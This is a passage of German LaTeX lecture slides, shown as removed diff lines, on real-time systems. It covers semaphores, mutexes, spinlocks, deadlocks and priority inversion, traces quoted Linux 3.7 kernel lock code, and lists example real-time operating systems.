- Schadet das?
- \textarrow\
- Nein.
-% \pause
- \item
- Aber?
- \textarrow\
- Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
- Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-% \pause
- \item
- Beispiel:
- Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
- \textarrow\
- Tochterprozesse werden zu Zombies.
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Multitasking}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{minipage}[t]{6cm}
- Qualitätssicherung beim Multitasking
- \begin{itemize}
- \item
- Verschiedene Anforderungen:
- \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
- vs.\ \newterm{Durchsatz}
- \smallskip
- \item
- Ressourcen reservieren:\\
- \newterm{Mutexe}
- (= spezielle \newterm{Semaphore\/})\\
- \strut
- \item
- Verschiedene Methoden\\
- der Priorisierung\\
- \strut\\
- \strut
- \item
- Umgehung der Probleme durch
- speziell geschriebene Software\\
- (MultiWii, RP6, \dots)
- \end{itemize}
- \end{minipage}
- \hfill
- \begin{minipage}[t]{6.2cm}
- Qualitätssicherung für Netzwerke:
- \begin{itemize}
- \item
- Verschiedene Anforderungen:
- \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
- \item
- Ressourcen reservieren:\\
- \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
- \item
- Klassifizierung und Priorisierung:
- \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
- bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
- \item
- Eigenes Protokoll (Telefondienste):\\
- \newterm{Asynchronous Transfer Mode (ATM)}
- \end{itemize}
- \end{minipage}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- gemeinsame Variable mehrerer Prozesse\\
- zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
- Ressource belegt \textarrow\ Kontextwechsel
- \begin{onlyenv}<1>
- \par\medskip
- griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
- "`Eisenbahnsignal"'
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Mutex}\\
- Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
- auf eine Ressource zugreifen kann
- \begin{onlyenv}<2>
- \par\medskip
- englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
- spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
- % allgemein: auch jemand anderer dürfte freigeben
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Spinlock} (\emph{busy waiting\/})\\
- leichtgewichtige Alternative zu Kontextwechsel
- \begin{onlyenv}<3>
- \par\medskip
- englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
- \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
- Hardware-Unterstützung:
- Prüfen, ob Variable bestimmten Wert hat;\\
- wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Kritischer Abschnitt -- critical section}\\
- Programmabschnitt zwischen Reservierung\\
- und Freigabe einer Ressource\\
- \textarrow\ sollte immer so kurz wie möglich sein
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren --
- Beispiel: \file{linux-3.7rc1}
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- \file{kernel/semaphor.c}\\
- \file{drivers/usb/core/file.c}
- \medskip
- \item
- \newterm{Mutex}\\
- \file{kernel/mutex.c}\\
- \file{drivers/usb/serial/usb-serial.c}
- \medskip
- \item
- \newterm{Spinlock}\\
- \file{kernel/spinlock.c}\\
- \file{kernel/semaphor.c},
- \file{kernel/mutex.c}
- \end{itemize}
-
- % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
- % evtl. Aufgabe: Warte-Problem
-
- % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
- % das o.a. Zuteilungsproblem?
-
- % Danach: Semaphoren, Mutexe, Spinlocks
- % Priorisierungsmethoden und -probleme
-
- % Festplatten: completely fair queueing
- % cat /sys/block/sdc/queue/scheduler
- % "noop" hat sich für SVG gelohnt
-
- % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \textbf{Beispiel:}
- \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
- Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
- \medskip
-
- \begin{lstlisting}
- struct usb_serial *usb_serial_get_by_index (unsigned index)
- {
- struct usb_serial *serial;
- mutex_lock (&table_lock);
- serial = serial_table[index];
- if (serial)
- {
- mutex_lock (&serial->disc_mutex);
- if (serial->disconnected)
- {
- mutex_unlock (&serial->disc_mutex);
- serial = NULL;
- }
- else
- kref_get (&serial->kref);
- }
- mutex_unlock (&table_lock);
- return serial;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(5.1,6.85){\vector(-1,0){0.5}}
- \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
- \put(5.4,1.35){\vector(-1,0){0.5}}
- \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
- \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
- Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
- \medskip
-
- \begin{lstlisting}
- void __sched mutex_lock (struct mutex *lock)
- {
- might_sleep ();
- __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
- mutex_set_owner (lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.6,1.35){\line(-1,0){1}}
- \put(11.6,1.35){\line(0,-1){2.45}}
- \put(11.6,-1.10){\vector(-1,0){2.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
- Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
- \medskip
-
- Assembler:
- \begin{lstlisting}[language={[x86masm]Assembler}]
- lock dec (lock->count)
- jns 1
- call __mutex_lock_slowpath
- 1:
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9,0.95){\line(-1,0){3.5}}
- \put(9,0.95){\line(0,-1){2.5}}
- \put(9.0,-1.55){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
- \medskip
-
- \begin{lstlisting}
- static __used noinline void __sched
- __mutex_lock_slowpath (atomic_t *lock_count)
- {
- struct mutex *lock = container_of (lock_count, struct mutex, count);
- __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
- NULL, _RET_IP_);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.0,1.40){\line(-1,0){1.0}}
- \put(11.0,1.40){\vector(0,-1){2.5}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
- \medskip
-
- \begin{lstlisting}
- static inline int __sched
- __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
- struct lockdep_map *nest_lock, unsigned long ip)
- {
- struct task_struct *task = current;
- struct mutex_waiter waiter;
- unsigned long flags;
-
- preempt_disable ();
- mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
- /* ... */
-
- spin_lock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_lock_common (lock, &waiter);
- debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
- /* add waiting tasks to the end of the waitqueue (FIFO): */
- list_add_tail (&waiter.list, &lock->wait_list);
- waiter.task = task;
-
- if (atomic_xchg (&lock->count, -1) == 1)
- goto done;
-
- lock_contended (&lock->dep_map, ip);
-
- for (;;)
- {
- /*
- * Lets try to take the lock again - this is needed even if
- * we get here for the first time (shortly after failing to
- * acquire the lock), to make sure that we get a wakeup once
- * it's unlocked. Later on, if we sleep, this is the
- * operation that gives us the lock. We xchg it to -1, so
- * that when we release the lock, we properly wake up the
- * other waiters:
- */
- if (atomic_xchg (&lock->count, -1) == 1)
- break;
-
- /*
- * got a signal? (This code gets eliminated in the
- * TASK_UNINTERRUPTIBLE case.)
- */
- if (unlikely (signal_pending_state (state, task)))
- {
- mutex_remove_waiter (lock, &waiter, task_thread_info (task));
- mutex_release (&lock->dep_map, 1, ip);
- spin_unlock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_free_waiter (&waiter);
- preempt_enable ();
- return -EINTR;
- }
- __set_task_state (task, state);
-
- /* didn't get the lock, go to sleep: */
- spin_unlock_mutex (&lock->wait_lock, flags);
- schedule_preempt_disabled ();
- spin_lock_mutex (&lock->wait_lock, flags);
- }
-
- done:
- lock_acquired (&lock->dep_map, ip);
- /* got the lock - rejoice! */
- mutex_remove_waiter (lock, &waiter, current_thread_info ());
- mutex_set_owner (lock);
-
- /* set it to 0 if there are no waiters left: */
- if (likely (list_empty (&lock->wait_list)))
- atomic_set (&lock->count, 0);
-
- spin_unlock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_free_waiter (&waiter);
- preempt_enable ();
-
- return 0;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(7.9,28.3){\vector(-1,0){0.5}}
- \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
- \put(7.4,2.3){\vector(-1,1){0.4}}
- \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
- \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
- Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
- \medskip
-
- \begin{lstlisting}
- #define spin_lock_mutex(lock, flags) \
- do \
- { \
- spin_lock (lock); \
- (void) (flags); \
- } \
- while (0)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(8.5,1.75){\line(-1,0){4.5}}
- \put(8.5,1.75){\line(0,-1){2.9}}
- \put(8.5,-1.15){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
- \medskip
-
- \begin{lstlisting}
- static inline void spin_lock (spinlock_t *lock)
- {
- raw_spin_lock (&lock->rlock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.3,0.95){\line(-1,0){4.0}}
- \put(9.3,0.95){\line(0,-1){2.1}}
- \put(9.3,-1.15){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
- \medskip
-
- \begin{lstlisting}
- #define raw_spin_lock(lock) _raw_spin_lock (lock)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.0,0.55){\line(-1,0){0.5}}
- \put(10.0,0.55){\line(0,-1){1.7}}
- \put(10.0,-1.15){\vector(-1,0){1.3}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
- \medskip
-
- \begin{lstlisting}
- #define _raw_spin_lock(lock) __raw_spin_lock (lock)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.7,0.55){\line(-1,0){0.5}}
- \put(10.7,0.55){\line(0,-1){1.75}}
- \put(10.7,-1.2){\vector(-1,0){2.3}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
- \medskip
-
- \begin{lstlisting}
- void __lockfunc __raw_spin_lock (spinlock_t *lock)
- {
- for (;;)
- {
- preempt_disable ();
- if (likely (do_raw_spin_trylock (lock)))
- break;
- preempt_enable ();
-
- if (!(lock)->break_lock)
- (lock)->break_lock = 1;
- while (!raw_spin_can_lock (lock) && (lock)->break_lock)
- arch_spin_relax (&lock->raw_lock);
- }
- (lock)->break_lock = 0;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.7,4.75){\line(-1,0){3.5}}
- \put(10.7,4.75){\line(0,-1){5.95}}
- \put(10.7,-1.2){\vector(-1,0){1.1}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
- \medskip
-
- \begin{lstlisting}
- static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
- {
- return arch_spin_trylock (&(lock)->raw_lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.5,0.95){\line(-1,0){3.5}}
- \put(11.5,0.95){\line(0,-1){2.1}}
- \put(11.5,-1.15){\vector(-1,0){0.7}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
- \medskip
-
- \begin{lstlisting}
- static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
- {
- return __ticket_spin_trylock (lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.5,0.95){\line(-1,0){3.5}}
- \put(9.5,0.95){\vector(0,-1){1.7}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
- \medskip
-
- \begin{lstlisting}
- static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
- {
- arch_spinlock_t old, new;
-
- old.tickets = ACCESS_ONCE (lock->tickets);
- if (old.tickets.head != old.tickets.tail)
- return 0;
-
- new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
- /* cmpxchg is a full barrier, so nothing can move before it */
- return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(2.2,0.3){\line(0,1){0.4}}
- \put(9.0,0.3){\line(-1,0){6.8}}
- \put(9.0,0.3){\line(0,-1){1.45}}
- \put(9.0,-1.15){\vector(-1,0){3.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
- \medskip
-
- \begin{lstlisting}
- #define cmpxchg(ptr, old, new) \
- __cmpxchg (ptr, old, new, sizeof (*(ptr)))
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.0,0.5){\line(-1,0){1.8}}
- \put(9.0,0.5){\line(0,-1){1.65}}
- \put(9.0,-1.15){\vector(-1,0){2.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
- \medskip
-
- \begin{lstlisting}
- #define __cmpxchg(ptr, old, new, size) \
- __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(2.2,-0.1){\line(0,1){0.3}}
- \put(9.0,-0.1){\line(-1,0){6.8}}
- \put(9.0,-0.1){\line(0,-1){1.05}}
- \put(9.0,-1.15){\vector(-1,0){2.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
- \medskip
-
- \begin{lstlisting}
- asm volatile (lock "cmpxchgl %2,%1" \
- : "=a" (__ret), "+m" (*__ptr) \
- : "r" (__new), "0" (__old) \
- : "memory");
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.8,1.8){\vector(-1,0){0.6}}
- \put(9.8,1.2){\line(0,1){0.6}}
- \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-% \showsectionnonumber
-%
-% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-% \medskip
-%
-% \showsubsectionnonumber
-%
-% \vspace{-\medskipamount}
-%
-% Springer-Verlag, Berlin, Heidelberg 2005
-%
-% \bigskip
-%
-% Lizenz: proprietär
-%
-% \medskip
-%
-% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\sectionnonumber{Theorie der Echtzeitsysteme}
-\subsection{Multitasking}
-\subsection{Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- gemeinsame Variable mehrerer Prozesse\\
- zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
- Ressource belegt \textarrow\ Kontextwechsel
- \medskip
- \item
- \newterm{Mutex}\\
- Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
- auf eine Ressource zugreifen kann
- \medskip
- \item
- \newterm{Spinlock} (\emph{busy waiting\/})\\
- leichtgewichtige Alternative zu Kontextwechsel
- \medskip
- \item
- \newterm{Kritischer Abschnitt -- critical section}\\
- Programmabschnitt zwischen Reservierung\\
- und Freigabe einer Ressource\\
- \textarrow\ sollte immer so kurz wie möglich sein
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{picture}(0,0)
- \only<1>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
- \end{picture}%
- \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
- \begin{itemize}
- \item
- \newterm{Deadlock\/}: Prozeß wartet
- \item
- \newterm{Livelock\/}: Prozeß macht andere Dinge\\
- (z.\,B.\ \emph{busy waiting\/})
- \end{itemize}
-
- \smallskip
-
- Beispiel: Philosophenproblem
-
- \only<1>{%
- \begin{itemize}
- \item
- 5 Philosophen, 5 Gabeln
- \item
- 2 Gabeln zum Essen notwendig
- \item
- Wer essen will, nimmt eine Gabel\\
- und wartet notfalls auf die zweite.
- \item
- Keiner legt eine einzelne Gabel\\
- wieder zurück.
- \end{itemize}
- Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
- \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
- \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
- }
- \only<2->{%
- \bigskip
-
- Bedingungen für Verklemmungen:
-
- \begin{minipage}[t]{4.5cm}
- \begin{itemize}
- \item
- Exklusivität
- \item
- \newterm{hold and wait}
- \item
- Entzug nicht möglich
- \item
- zirkuläre Blockade
- \end{itemize}
- \end{minipage}% \pause[5]
- \begin{minipage}[t]{7.5cm}
- \begin{itemize}
- \arrowitem
- Spooling
- \arrowitem
- simultane Zuteilung
- \arrowitem
- Prozesse suspendieren, beenden, \newterm{Rollback}
- \arrowitem
- Reihenfolge abhängig von Ressourcen
- \end{itemize}
- \end{minipage}
- }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Linux 0.01
- \begin{itemize}
- \item
- Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
- Prozeß mit höchstem Zähler bekommt Rechenzeit.
- \item
- Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
- bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
- \item
- \emph{keine\/} harte Echtzeit
- \arrowitem
- \newterm{dynamische Prioritätenvergabe\/}:\\
- Rechenzeit hängt vom Verhalten des Prozesses ab
- \end{itemize}
-
- \medskip
-
- Echtzeitbetriebssysteme
- \begin{itemize}
- \item
- Prozesse können einen festen Anteil an Rechenzeit bekommen.
- \item
- Bei Ereignissen können Prozesse hoher Priorität\\
- Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
- \arrowitem
- \newterm{statische Prioritätenvergabe}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Echtzeitbetriebssysteme
- \begin{itemize}
- \item
- Prozesse können einen festen Anteil an Rechenzeit bekommen.
- \item
- Bei Ereignissen können Prozesse hoher Priorität\\
- Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
- \end{itemize}
-
- \vspace{0cm plus 1filll}
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-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \only<4->{%
- Der höher priorisierte Prozeß bewirkt selbst,\\
- daß er eine Ressource verspätet bekommt.
-
- \medskip
-
- \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
- \medskip
-
- maximale Verzögerung: Länge des kritischen Bereichs
- }
-
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- \visible<4->{%
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
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-
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- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \medskip
-
- Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
- \only<1>{%
- \begin{center}
- \includegraphics[width=8.7cm]{pathfinder.jpg}
- \vspace*{-1.5cm}
- \end{center}
- }
-
- \bigskip
-
- \only<2>{%
- Gegenmaßnahmen
- \begin{itemize}
- \item
- \newterm{Priority Inheritance -- Prioritätsvererbung}\\
- Der Besitzer des Mutex erbt die Priorität\\
- des Prozesses, der auf den Mutex wartet.
- \end{itemize}
-
- \bigskip
-
- \begin{minipage}{7.0cm}
- \begin{flushright}
- \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
- \end{flushright}
- \end{minipage}
-
- \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm}
- }
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \bigskip
-
- Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
- \vspace{0cm plus 1filll}
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-
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- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \bigskip
-
- Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
- \vspace{0cm plus 1filll}
-
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-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \medskip
-
- Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
- \bigskip
-
- Gegenmaßnahmen
- \begin{itemize}
- \item
- \newterm{Priority Inheritance -- Prioritätsvererbung}\\
- Der Besitzer des Mutex erbt die Priorität\\
- des Prozesses, der auf den Mutex wartet.
- \smallskip
- \item
- \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
- Der Besitzer des Mutex bekommt sofort\\
- die Priorität des höchstmöglichen Prozesses,\\
- der evtl.\ den Mutex benötigen könnte.
- \pause
- \begin{picture}(0,0)
- \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
- \begin{minipage}{4cm}
- nur möglich, wenn\\
- Mutexe im Spiel sind
- \end{minipage}}}
- \end{picture}
- \smallskip
- \pause
- \item
- \newterm{Priority Aging}\\
- Die Priorität wächst mit der Wartezeit.
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \showsectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Einführung}
- \begin{itemize}
- \item[1.1] Was ist Echtzeit?
- \item[1.2] Echtzeitprogrammierung
- \end{itemize}
- \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
- \begin{itemize}
- \color{medgreen}
- \item[2.1] Multitasking
- \item[2.2] Ressourcen
- \item[2.3] Prioritäten
- \end{itemize}
- \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
- \begin{itemize}
- \color{red}
- \item[3.1] Definition
- \item[3.2] Beispiele
- \end{itemize}
- \item[\textbf{4}] \textbf{Frameworks}
- \begin{itemize}
- \item[\textbf{4.1}] TFC Event Channel
- \item[\textbf{4.2}] AUTOSAR
- \item[\textbf{4.3}] Wietzke-Tran-Framework
- \end{itemize}
- \end{itemize}
-
-\end{frame}
-
-\section{Echtzeitbetriebssysteme}
-\subsection{Definition}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Wikipedia:
- \begin{quote}
- Ein \newterm{Echtzeitbetriebssystem\/} (englisch \newterm{real-time operating system},\\
- kurz \newterm{RTOS\/} genannt) ist ein Betriebssystem mit zusätzlichen Echtzeit-Funktionen
- für die unbedingte Einhaltung von Zeitbedingungen
- und die Vorhersagbarkeit des Prozessverhaltens (hartes Echtzeitverhalten).
- \end{quote}
-
- \pause
- \vspace{-0.5cm}
- \begin{displaymath}
- \text{Echtzeitbetriebssystem}
- ~=~ \text{Betriebssystem}
- ~+~ \left(\begin{array}{c}
- \text{Semaphoren} \\
- \text{Mutexe} \\
- \text{Spinlocks} \\
- \text{Prioritätsvererbung} \\
- \text{Prioritätsobergrenze} \\
- \text{Prioritätsalterung}
- \end{array}\right)
- \end{displaymath}
-
-\end{frame}
-
-\subsection{Beispiele}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \renewcommand{\arraystretch}{1.2}
-
- \begin{center}
- \begin{tabular}{|l|l|l|l|}\hline
- Name & Lizenz & kompatibel zu & Besonderheiten \\\hline\hline
- TinyOS & BSD & -- & kooperativ, eigene Sprache \\\hline
- FreeRTOS & GPL & -- & \\\hline
- MicroC/OS-II & prop. & -- & \\\hline
- eCos & GPL & Unix & stark konfigurierbar \\\hline
- QNX & prop. & Unix & \\\hline
- VxWorks & prop. & Unix & \\\hline
- RTAI & GPL & Unix (Linux) & Linux als Hintergrundprozeß \\\hline
- RT\_PREEMPT & GPL & Unix (Linux) & angepaßter Kernel \\\hline
- Windows CE & prop. & MS-Windows & \\\hline
- \end{tabular}
- \end{center}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \showsectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Einführung}
- \begin{itemize}
- \item[1.1] Was ist Echtzeit?
- \item[1.2] Echtzeitprogrammierung
- \end{itemize}
- \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
- \begin{itemize}
- \item[2.1] Multitasking
- \item[2.2] Ressourcen
- \item[2.3] Prioritäten
- \end{itemize}
- \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
- \begin{itemize}
- \item[3.1] \color{medgreen}Definition
- \item[3.2] Beispiele
- \end{itemize}
- \item[\textbf{4}] \textbf{Frameworks}
- \begin{itemize}
- \item[4.1] \color{red}TFC Event Channel
- \item[4.2] AUTOSAR
- \item[4.3] Wietzke-Tran-Framework
- \end{itemize}
-% \bigskip
-% \item[\textbf{U}] \textbf{Einführung in Unix}
-% \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung}
- \end{itemize}
-
-\end{frame}
-
-\section{Frameworks}
-\subsection{TFC Event Channel}
-
-\begin{frame}[fragile]
- \showsection
- \showsubsection
-
- \begin{minipage}[t]{5cm}
- Anforderungen:
- \begin{itemize}
- \item
- Aktoren und Sensoren\\
- sollen gemäß vorgegebe-\\
- nen Regeln interagieren.
- \item
- weiche und harte Echtzeit
- \item
- hohe Anpaßbarkeit
- \end{itemize}
- \end{minipage}\hfill
- \begin{minipage}[t]{7.25cm}
- \only<1>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{csa2.jpg}}}
- \begin{onlyenv}<2-4>
- 1.\ Lösung: CORBA (TAO/ACE)
- \begin{itemize}
- \item
- Programme kommunizieren per TCP/IP über \newterm{Events\/}
- (Ereignisse und Zustände).
- \item
- C++-Programme reagieren auf Events\\
- über \newterm{Callbacks\/} (virtuelle Methoden).
- \item
- Abfrage von Zustandsänderungen\\
- über \newterm{Polling}
- \end{itemize}
- \vspace*{-1cm}
- \end{onlyenv}
- \begin{onlyenv}<5->
- 2.\ Lösung: Eigener Event-Channel
- \begin{itemize}
- \item
